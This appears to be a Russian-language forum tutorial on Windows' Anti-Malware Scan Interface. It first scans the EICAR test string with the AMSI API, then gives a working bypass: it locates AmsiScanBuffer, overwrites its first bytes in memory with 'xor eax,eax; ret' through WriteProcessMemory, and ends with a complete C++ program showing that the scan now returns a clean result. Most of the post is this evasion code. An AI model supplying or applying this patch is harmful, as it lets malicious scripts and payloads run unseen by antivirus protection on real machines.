С релизом Windows 10 компания Microsoft представила новый интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (например Windows Defender).
Называется этот интерфейс Anti-Malware Scan Interface и представлен в системной библиотеке amsi.dll
Данная библиотека имеет небольшой размер и полностью реверсится за пару дней. Но зачем утруждать себя лишней работой, если MS поставляет её исходный код в пакете SDK (amsi.h, amsi.lib).
Для начала нужно понять что это такое и для чего используется.
AMSI обеспечивает повышенную защиту от использования современных инструментов, тактик и процедур (TTP), обычно используемых во время атак вредоносным ПО.
AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное обеспечение до его запуска.
Чтобы увидеть как всё это работает, воспользуемся тестовым файлом проверки антивируса EICAR-Test-File
C++ | 1
| #define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" |
|
Эта строка была специально создана для анализа срабатывания антивирусов и не несёт в себе никакого исполняемого кода пруф от касперского
Первое что нужно сделать - проинициализировать дескриптор контекста, который будет проверяться
C++ | 1
2
| HAMSICONTEXT AmsiContext = nullptr;
AmsiInitialize((PCWSTR)EICAR, &AmsiContext); |
|
Далее, инициализируем дескриптор сессии
C++ | 1
2
| HAMSISESSION AmsiSession = nullptr;
AmsiOpenSession(AmsiContext, &AmsiSession); |
|
И третье, собственно сканируем данные на предмет вредоносного контента
C++ | 1
2
| AMSI_RESULT Result{};
AmsiScanBuffer(AmsiContext, (PBYTE)EICAR, sizeof(EICAR), (PCWSTR)EICAR, AmsiSession, &Result); |
|
В переменную Result вернётся значение, чем оно меньше (AMSI_RESULT_CLEAN или AMSI_RESULT_NOT_DETECTED) тем безопаснее контент.
При выполнении данного кода, антивирус выдаст следующее (Result = AMSI_RESULT_DETECTED)

Чтобы обойти AMSI необходимо изучить ассемблерный код функции AmsiScanBuffer.
Первые 24 байта этой функции дают полную уникальность относительно остального кода библиотеки amsi.dll
Вот её сигнатура и маска
C++ | 1
2
3
4
5
6
7
8
9
10
11
12
13
| BYTE pattren_AmsiScanBuffer[24] =
{
0x4C,0x8B,0xDC, // mov r11,rsp
0x49,0x89,0x5B,0x08, // mov qword ptr ds:[r11+8],rbx
0x49,0x89,0x6B,0x10, // mov qword ptr ds:[r11+10],rbp
0x49,0x89,0x73,0x18, // mov qword ptr ds:[r11+18],rsi
0x57, // push rdi
0x41,0x56, // push r14
0x41,0x57, // push r15
0x48,0x83,0xEC,0x70 // sub rsp,70
};
PCCH mask_AmsiScanBuffer = "xxxxxxxxxxxxxxxxxxxxxxxx"; |
|
Суть обхода заключается в том, чтобы функция AmsiScanBuffer вернула в переменную Result как можно меньшее число.
Для этого, нужно заставить AMSI не отправлять контент на проверку антивирусному обеспечению.
Как можно видеть, первые 3 байта функции заняты инструкцией mov r11,rsp
Этого количества байт вполне хватит для того, чтобы завершить функцию в самом начале её исполнения.
Поэтому перепишем эти 3 байта следующими
Assembler | 1
2
| xor eax,eax ; 0x31,0xC0,
ret ; 0xC3 |
|
Ищем дескриптор библиотеки amsi.dll в памяти и переписываем его следующим образом
C++ | 1
2
3
4
5
6
7
8
| PVOID Addr = GetProcAddress(GetModuleHandle("amsi"), "AmsiScanBuffer");
BYTE fake_AmsiScanBuffer[3] = {
0x31,0xC0, // xor eax,eax
0xC3 // ret
};
WriteProcessMemory(GetCurrentProcess(), Addr, &fake_AmsiScanBuffer, sizeof(fake_AmsiScanBuffer), nullptr); |
|
В итоге получаем вот такой код, при выполнении которого тестовый файл не будет отправлен на проверку антивирусу и AmsiScanBuffer вернёт AMSI_RESULT_CLEAN
C++ | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| #include <Windows.h>
#include <iostream>
#include <amsi.h>
#pragma comment(lib, "amsi")
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
int main()
{
HAMSICONTEXT AmsiContext = nullptr;
HAMSISESSION AmsiSession = nullptr;
AmsiInitialize((PCWSTR)EICAR, &AmsiContext);
AmsiOpenSession(AmsiContext, &AmsiSession);
//=========================================================================================================
PVOID Addr = GetProcAddress(GetModuleHandle("amsi"), "AmsiScanBuffer");
BYTE fake_AmsiScanBuffer[3] = {
0x31,0xC0, // xor eax,eax
0xC3 // ret
};
WriteProcessMemory(GetCurrentProcess(), Addr, &fake_AmsiScanBuffer, sizeof(fake_AmsiScanBuffer), nullptr);
//=========================================================================================================
AMSI_RESULT Result{};
AmsiScanBuffer(AmsiContext, (PBYTE)EICAR, sizeof(EICAR), (PCWSTR)EICAR, AmsiSession, &Result);
switch (Result)
{
case AMSI_RESULT_CLEAN:
std::cout << "AMSI_RESULT_CLEAN" << std::endl;
break;
case AMSI_RESULT_NOT_DETECTED:
std::cout << "AMSI_RESULT_NOT_DETECTED" << std::endl;
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
std::cout << "AMSI_RESULT_BLOCKED_BY_ADMIN_START" << std::endl;
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
std::cout << "AMSI_RESULT_BLOCKED_BY_ADMIN_END" << std::endl;
break;
case AMSI_RESULT_DETECTED:
std::cout << "AMSI_RESULT_DETECTED" << std::endl;
break;
default:
std::cout << "N/A" << std::endl;
break;
}
std::cout << "\nPress enter for the close amsi session and exit from app." << std::endl;
std::cin.get();
AmsiCloseSession(AmsiContext, AmsiSession);
AmsiUninitialize(AmsiContext);
return 0;
} |
|
|